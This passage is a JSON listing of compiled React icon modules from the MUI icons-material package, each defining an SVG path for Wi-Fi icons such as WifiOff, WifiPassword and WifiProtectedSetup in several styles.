    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.98 11 24 8.98C20.93 5.9 16.69 4 12 4S3.07 5.9 0 8.98l6.35 6.36L12 21l3.05-3.05V15c0-.45.09-.88.23-1.29.54-1.57 2.01-2.71 3.77-2.71z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 16v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"1\")], 'WifiLockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.99 9C19.15 5.16 13.8 3.76 8.84 4.78l2.52 2.52c3.47-.17 6.99 1.05 9.63 3.7zm-4 4c-1.29-1.29-2.84-2.13-4.49-2.56l3.53 3.53zM2 3.05 5.07 6.1C3.6 6.82 2.22 7.78 1 9l1.99 2c1.24-1.24 2.67-2.16 4.2-2.77l2.24 2.24C7.81 10.89 6.27 11.73 5 13v.01L6.99 15c1.36-1.36 3.14-2.04 4.92-2.06L18.98 20l1.27-1.26L3.29 1.79zM9 17l3 3 3-3c-1.65-1.66-4.34-1.66-6 0\"\n}), 'WifiOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.99 9C19.15 5.16 13.8 3.76 8.84 4.78l2.52 2.52c3.47-.17 6.99 1.05 9.63 3.7zm-4 4c-1.29-1.29-2.84-2.13-4.49-2.56l3.53 3.53zM2 3.05 5.07 6.1C3.6 6.82 2.22 7.78 1 9l1.99 2c1.24-1.24 2.67-2.16 4.2-2.77l2.24 2.24C7.81 10.89 6.27 11.73 5 13v.01L6.99 15c1.36-1.36 3.14-2.04 4.92-2.06L18.98 20l1.27-1.26L3.29 1.79zM9 17l3 3 3-3c-1.65-1.66-4.34-1.66-6 0\"\n}), 'WifiOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 11 2-2c-3.73-3.73-8.87-5.15-13.7-4.31l2.58 2.58c3.3-.02 6.61 1.22 9.12 3.73m-2 2c-1.08-1.08-2.36-1.85-3.72-2.33l3.02 3.02zM9 17l3 3 3-3c-1.65-1.66-4.34-1.66-6 0M3.41 1.64 2 3.05 5.05 6.1C3.59 6.83 2.22 7.79 1 9l2 2c1.23-1.23 2.65-2.16 4.17-2.78l2.24 2.24C7.79 10.89 6.27 11.74 5 13l2 2c1.35-1.35 3.11-2.04 4.89-2.06l7.08 7.08 1.41-1.41z\"\n}), 'WifiOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 11 2-2c-3.73-3.73-8.87-5.15-13.7-4.31l2.58 2.58c3.3-.02 6.61 1.22 9.12 3.73m-2 2c-1.08-1.08-2.36-1.85-3.72-2.33l3.02 3.02zM9 17l3 3 3-3c-1.65-1.66-4.34-1.66-6 0M3.41 1.64 2 3.05 5.05 6.1C3.59 6.83 2.22 7.79 1 9l2 2c1.23-1.23 2.65-2.16 4.17-2.78l2.24 2.24C7.79 10.89 6.27 11.74 5 13l2 2c1.35-1.35 3.11-2.04 4.89-2.06l7.08 7.08 1.41-1.41z\"\n}), 'WifiOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.06 10.14c.56.46 1.38.42 1.89-.09.59-.59.55-1.57-.1-2.1-3.59-2.94-8.2-4.03-12.55-3.26l2.59 2.59c2.89-.03 5.8.92 8.17 2.86m-2.27 1.83c-.78-.57-1.63-1-2.52-1.3l2.95 2.95c.24-.58.1-1.27-.43-1.65m-3.84 4.26c-1.22-.63-2.68-.63-3.91 0-.59.31-.7 1.12-.23 1.59l1.47 1.47c.39.39 1.02.39 1.41 0l1.47-1.47c.49-.47.39-1.28-.21-1.59m5.73 1.67L4.12 2.34a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L5.05 6.1c-1.01.5-1.99 1.11-2.89 1.85-.65.53-.69 1.51-.1 2.1.51.51 1.32.56 1.87.1 1-.82 2.1-1.46 3.25-1.93l2.23 2.23c-1.13.3-2.21.8-3.19 1.51-.69.5-.73 1.51-.13 2.11l.01.01c.49.49 1.26.54 1.83.13 1.19-.84 2.58-1.26 3.97-1.29l6.37 6.37c.39.39 1.02.39 1.41 0 .39-.37.39-1 0-1.39\"\n}), 'WifiOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.06 10.14c.56.46 1.38.42 1.89-.09.59-.59.55-1.57-.1-2.1-3.59-2.94-8.2-4.03-12.55-3.26l2.59 2.59c2.89-.03 5.8.92 8.17 2.86m-2.27 1.83c-.78-.57-1.63-1-2.52-1.3l2.95 2.95c.24-.58.1-1.27-.43-1.65m-3.84 4.26c-1.22-.63-2.68-.63-3.91 0-.59.31-.7 1.12-.23 1.59l1.47 1.47c.39.39 1.02.39 1.41 0l1.47-1.47c.49-.47.39-1.28-.21-1.59m5.73 1.67L4.12 2.34a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L5.05 6.1c-1.01.5-1.99 1.11-2.89 1.85-.65.53-.69 1.51-.1 2.1.51.51 1.32.56 1.87.1 1-.82 2.1-1.46 3.25-1.93l2.23 2.23c-1.13.3-2.21.8-3.19 1.51-.69.5-.73 1.51-.13 2.11l.01.01c.49.49 1.26.54 1.83.13 1.19-.84 2.58-1.26 3.97-1.29l6.37 6.37c.39.39 1.02.39 1.41 0 .39-.37.39-1 0-1.39\"\n}), 'WifiOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 11 2-2c-3.73-3.73-8.87-5.15-13.7-4.31l2.58 2.58c3.3-.02 6.61 1.22 9.12 3.73M9 17l3 3 3-3c-1.65-1.66-4.34-1.66-6 0m10-4c-1.08-1.08-2.36-1.85-3.72-2.33l3.02 3.02zM3.41 1.64 2 3.05 5.05 6.1C3.59 6.83 2.22 7.79 1 9l2 2c1.23-1.23 2.65-2.16 4.17-2.78l2.24 2.24C7.79 10.89 6.27 11.74 5 13l2 2c1.35-1.35 3.11-2.04 4.89-2.06l7.08 7.08 1.41-1.41z\"\n}), 'WifiOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 11 2-2c-3.73-3.73-8.87-5.15-13.7-4.31l2.58 2.58c3.3-.02 6.61 1.22 9.12 3.73M9 17l3 3 3-3c-1.65-1.66-4.34-1.66-6 0m10-4c-1.08-1.08-2.36-1.85-3.72-2.33l3.02 3.02zM3.41 1.64 2 3.05 5.05 6.1C3.59 6.83 2.22 7.79 1 9l2 2c1.23-1.23 2.65-2.16 4.17-2.78l2.24 2.24C7.79 10.89 6.27 11.74 5 13l2 2c1.35-1.35 3.11-2.04 4.89-2.06l7.08 7.08 1.41-1.41z\"\n}), 'WifiOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 11 2-2c-3.73-3.73-8.87-5.15-13.7-4.31l2.58 2.58c3.3-.02 6.61 1.22 9.12 3.73m-2 2c-1.08-1.08-2.36-1.85-3.72-2.33l3.02 3.02zM9 17l3 3 3-3c-1.65-1.66-4.34-1.66-6 0M3.41 1.64 2 3.05 5.05 6.1C3.59 6.83 2.22 7.79 1 9l2 2c1.23-1.23 2.65-2.16 4.17-2.78l2.24 2.24C7.79 10.89 6.27 11.74 5 13l2 2c1.35-1.35 3.11-2.04 4.89-2.06l7.08 7.08 1.41-1.41z\"\n}), 'WifiOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 11 2-2c-3.73-3.73-8.87-5.15-13.7-4.31l2.58 2.58c3.3-.02 6.61 1.22 9.12 3.73m-2 2c-1.08-1.08-2.36-1.85-3.72-2.33l3.02 3.02zM9 17l3 3 3-3c-1.65-1.66-4.34-1.66-6 0M3.41 1.64 2 3.05 5.05 6.1C3.59 6.83 2.22 7.79 1 9l2 2c1.23-1.23 2.65-2.16 4.17-2.78l2.24 2.24C7.79 10.89 6.27 11.74 5 13l2 2c1.35-1.35 3.11-2.04 4.89-2.06l7.08 7.08 1.41-1.41z\"\n}), 'WifiOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m1 9 2 2c4.97-4.97 13.03-4.97 18 0l2-2C16.93 2.93 7.08 2.93 1 9m8 8 3 3 3-3c-1.65-1.66-4.34-1.66-6 0m-4-4 2 2c2.76-2.76 7.24-2.76 10 0l2-2C15.14 9.14 8.87 9.14 5 13\"\n}), 'WifiOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m1 9 2 2c4.97-4.97 13.03-4.97 18 0l2-2C16.93 2.93 7.08 2.93 1 9m8 8 3 3 3-3c-1.65-1.66-4.34-1.66-6 0m-4-4 2 2c2.76-2.76 7.24-2.76 10 0l2-2C15.14 9.14 8.87 9.14 5 13\"\n}), 'WifiOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiPassword.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 19v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1zm2-10.02-2.12 2.13C19.35 8.57 15.85 7 12 7s-7.35 1.57-9.88 4.11L0 8.98C3.07 5.9 7.31 4 12 4s8.93 1.9 12 4.98M12 10c3.03 0 5.78 1.23 7.76 3.22l-2.12 2.12C16.2 13.9 14.2 13 12 13s-4.2.9-5.64 2.35l-2.12-2.12C6.22 11.23 8.97 10 12 10m3.53 7.46L12 21l-3.53-3.54c.9-.9 2.15-1.46 3.53-1.46s2.63.56 3.53 1.46\"\n}), 'WifiPassword');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiPassword.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 19v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1zm2-10.02-2.12 2.13C19.35 8.57 15.85 7 12 7s-7.35 1.57-9.88 4.11L0 8.98C3.07 5.9 7.31 4 12 4s8.93 1.9 12 4.98M12 10c3.03 0 5.78 1.23 7.76 3.22l-2.12 2.12C16.2 13.9 14.2 13 12 13s-4.2.9-5.64 2.35l-2.12-2.12C6.22 11.23 8.97 10 12 10m3.53 7.46L12 21l-3.53-3.54c.9-.9 2.15-1.46 3.53-1.46s2.63.56 3.53 1.46\"\n}), 'WifiPassword');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiPasswordOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m24 8.98-2.12 2.13C19.35 8.57 15.85 7 12 7s-7.35 1.57-9.88 4.11L0 8.98C3.07 5.9 7.31 4 12 4s8.93 1.9 12 4.98M4.24 13.22l2.12 2.12C7.8 13.9 9.8 13 12 13s4.2.9 5.64 2.35l2.12-2.12C17.78 11.23 15.03 10 12 10s-5.78 1.23-7.76 3.22M24 20v3c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1v-1c0-1.1.9-2 2-2s2 .9 2 2v1c.55 0 1 .45 1 1m-2-2c0-.55-.45-1-1-1s-1 .45-1 1v1h2zm-10-2c-1.38 0-2.63.56-3.53 1.46L12 21l3.53-3.54c-.9-.9-2.15-1.46-3.53-1.46\"\n}), 'WifiPasswordOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiPasswordOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m24 8.98-2.12 2.13C19.35 8.57 15.85 7 12 7s-7.35 1.57-9.88 4.11L0 8.98C3.07 5.9 7.31 4 12 4s8.93 1.9 12 4.98M4.24 13.22l2.12 2.12C7.8 13.9 9.8 13 12 13s4.2.9 5.64 2.35l2.12-2.12C17.78 11.23 15.03 10 12 10s-5.78 1.23-7.76 3.22M24 20v3c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1v-1c0-1.1.9-2 2-2s2 .9 2 2v1c.55 0 1 .45 1 1m-2-2c0-.55-.45-1-1-1s-1 .45-1 1v1h2zm-10-2c-1.38 0-2.63.56-3.53 1.46L12 21l3.53-3.54c-.9-.9-2.15-1.46-3.53-1.46\"\n}), 'WifiPasswordOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiPasswordRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.49 12.13C16.67 10.79 14.43 10 12 10s-4.67.79-6.49 2.13c-.72.53-.76 1.6-.13 2.24.53.54 1.37.57 1.98.12C8.67 13.55 10.27 13 12 13s3.33.55 4.64 1.49c.62.44 1.45.41 1.98-.12.64-.64.6-1.71-.13-2.24m4.31-4.24C19.86 5.46 16.1 4 12 4S4.14 5.46 1.2 7.89c-.67.55-.71 1.58-.09 2.21.55.55 1.42.58 2.02.09C5.55 8.2 8.64 7 12 7s6.45 1.2 8.87 3.19c.6.49 1.47.46 2.02-.09.62-.63.58-1.66-.09-2.21M12 16c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m11 3v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'WifiPasswordRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiPasswordRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.49 12.13C16.67 10.79 14.43 10 12 10s-4.67.79-6.49 2.13c-.72.53-.76 1.6-.13 2.24.53.54 1.37.57 1.98.12C8.67 13.55 10.27 13 12 13s3.33.55 4.64 1.49c.62.44 1.45.41 1.98-.12.64-.64.6-1.71-.13-2.24m4.31-4.24C19.86 5.46 16.1 4 12 4S4.14 5.46 1.2 7.89c-.67.55-.71 1.58-.09 2.21.55.55 1.42.58 2.02.09C5.55 8.2 8.64 7 12 7s6.45 1.2 8.87 3.19c.6.49 1.47.46 2.02-.09.62-.63.58-1.66-.09-2.21M12 16c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m11 3v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'WifiPasswordRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiPasswordSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m24 8.98-2.12 2.13C19.35 8.57 15.85 7 12 7s-7.35 1.57-9.88 4.11L0 8.98C3.07 5.9 7.31 4 12 4s8.93 1.9 12 4.98M4.24 13.22l2.12 2.12C7.8 13.9 9.8 13 12 13s4.2.9 5.64 2.35l2.12-2.12C17.78 11.23 15.03 10 12 10s-5.78 1.23-7.76 3.22M24 19v5h-6v-5h1v-1c0-1.1.9-2 2-2s2 .9 2 2v1zm-2-1c0-.55-.45-1-1-1s-1 .45-1 1v1h2zm-10-2c-1.38 0-2.63.56-3.53 1.46L12 21l3.53-3.54c-.9-.9-2.15-1.46-3.53-1.46\"\n}), 'WifiPasswordSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiPasswordSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m24 8.98-2.12 2.13C19.35 8.57 15.85 7 12 7s-7.35 1.57-9.88 4.11L0 8.98C3.07 5.9 7.31 4 12 4s8.93 1.9 12 4.98M4.24 13.22l2.12 2.12C7.8 13.9 9.8 13 12 13s4.2.9 5.64 2.35l2.12-2.12C17.78 11.23 15.03 10 12 10s-5.78 1.23-7.76 3.22M24 19v5h-6v-5h1v-1c0-1.1.9-2 2-2s2 .9 2 2v1zm-2-1c0-.55-.45-1-1-1s-1 .45-1 1v1h2zm-10-2c-1.38 0-2.63.56-3.53 1.46L12 21l3.53-3.54c-.9-.9-2.15-1.46-3.53-1.46\"\n}), 'WifiPasswordSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiPasswordTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m24 8.98-2.12 2.13C19.35 8.57 15.85 7 12 7s-7.35 1.57-9.88 4.11L0 8.98C3.07 5.9 7.31 4 12 4s8.93 1.9 12 4.98M24 20v3c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1v-1c0-1.1.9-2 2-2s2 .9 2 2v1c.55 0 1 .45 1 1m-2-2c0-.55-.45-1-1-1s-1 .45-1 1v1h2zM4.24 13.22l2.12 2.12C7.8 13.9 9.8 13 12 13s4.2.9 5.64 2.35l2.12-2.12C17.78 11.23 15.03 10 12 10s-5.78 1.23-7.76 3.22M12 16c-1.38 0-2.63.56-3.53 1.46L12 21l3.53-3.54c-.9-.9-2.15-1.46-3.53-1.46\"\n}), 'WifiPasswordTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiPasswordTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m24 8.98-2.12 2.13C19.35 8.57 15.85 7 12 7s-7.35 1.57-9.88 4.11L0 8.98C3.07 5.9 7.31 4 12 4s8.93 1.9 12 4.98M24 20v3c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1v-1c0-1.1.9-2 2-2s2 .9 2 2v1c.55 0 1 .45 1 1m-2-2c0-.55-.45-1-1-1s-1 .45-1 1v1h2zM4.24 13.22l2.12 2.12C7.8 13.9 9.8 13 12 13s4.2.9 5.64 2.35l2.12-2.12C17.78 11.23 15.03 10 12 10s-5.78 1.23-7.76 3.22M12 16c-1.38 0-2.63.56-3.53 1.46L12 21l3.53-3.54c-.9-.9-2.15-1.46-3.53-1.46\"\n}), 'WifiPasswordTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiProtectedSetup.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.71 5.29 19 3h-8v8l2.3-2.3c1.97 1.46 3.25 3.78 3.25 6.42 0 1.31-.32 2.54-.88 3.63 2.33-1.52 3.88-4.14 3.88-7.13 0-2.52-1.11-4.77-2.84-6.33\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.46 8.88c0-1.31.32-2.54.88-3.63C6 6.77 4.46 9.39 4.46 12.38c0 2.52 1.1 4.77 2.84 6.33L5 21h8v-8l-2.3 2.3c-1.96-1.46-3.24-3.78-3.24-6.42\"\n}, \"1\")], 'WifiProtectedSetup');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiProtectedSetup.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.71 5.29 19 3h-8v8l2.3-2.3c1.97 1.46 3.25 3.78 3.25 6.42 0 1.31-.32 2.54-.88 3.63 2.33-1.52 3.88-4.14 3.88-7.13 0-2.52-1.11-4.77-2.84-6.33\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.46 8.88c0-1.31.32-2.54.88-3.63C6 6.77 4.46 9.39 4.46 12.38c0 2.52 1.1 4.77 2.84 6.33L5 21h8v-8l-2.3 2.3c-1.96-1.46-3.24-3.78-3.24-6.42\"\n}, \"1\")], 'WifiProtectedSetup');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiProtectedSetupOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.71 5.29 19 3h-8v8l2.3-2.3c1.97 1.46 3.25 3.78 3.25 6.42 0 1.31-.32 2.54-.88 3.63 2.33-1.52 3.88-4.14 3.88-7.13 0-2.52-1.11-4.77-2.84-6.33\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.46 8.88c0-1.31.32-2.54.88-3.63C6 6.77 4.46 9.39 4.46 12.38c0 2.52 1.1 4.77 2.84 6.33L5 21h8v-8l-2.3 2.3c-1.96-1.46-3.24-3.78-3.24-6.42\"\n}, \"1\")], 'WifiProtectedSetupOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiProtectedSetupOutlined.mjs",
